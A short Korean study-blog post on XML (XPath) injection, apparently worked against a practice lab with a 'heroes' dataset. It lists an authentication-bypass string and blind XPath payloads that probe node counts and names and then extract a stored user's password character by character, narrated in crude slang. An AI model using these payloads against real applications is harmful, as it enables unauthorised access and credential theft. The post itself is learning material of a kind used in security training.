IT 공부용
4.1 XML Injection 본문
#########
XML
'or 1=1 or' 집어넣으면 됨 (이건 단순 정보)
neo' and count(../child::*)=3 or 'a'='b(거짓 값)
neo' and count(../child::*)=6 or 'a'='b(참 값)
==> 테이블의 자식 데이터 // 열의 갯수
neo' and string-length(name(parent::*))=6 or 'a'='b
==> 부모 노드 // DB이름 문구 길이 확인
neo' and substring(name(parent::*),1,1)='h' or 'a'='b (참값)
neo' and substring(name(parent::*),1,1)='h' or 'a'='b (거짓값)
--> hero 상위 노드 //테이블 이름 확인
neo' and string-length(name(//*))=6 or 'a'='b
-> 현재 노드 글자 수 확인
neo' and string-length(/heroes/hero[3]/password)=6 or 'a'='b
neo' and substring((/heroes/hero[3]/password),1,1)="A" or 'a'='b
-> neo 이새끼는 아무 상관 없어
# Thor 이새끼 비밀번호 탈취해보자
한글자씩 존나 때려보자
neo' and string-length(/heroes/hero[3]/password)=6 or 'a'='b // 0~6글자 확인 때려보자 -> 6글자가 맞았음
neo' and substring((/heroes/hero[3]/password),1,1)="A" or 'a'='b // 1,1을 2,1 3,1 다 A~Z까지 다때려봐야되;
그럼
6글자에 맞는 알파벳 다 대입하면 비번나옴
'▶ 모의 해킹' 카테고리의 다른 글
6. A3_ XSS (0) | 2022.09.29 |
---|---|
5. 인증 결함/세션 관리/ brute force/사전 대입 공격 (0) | 2022.09.29 |
4. OS Command Injection / PHP code Injection (0) | 2022.09.27 |
3. SQL Injection (0) | 2022.09.27 |
2. SSI(Server Side Includes) Injection (0) | 2022.09.27 |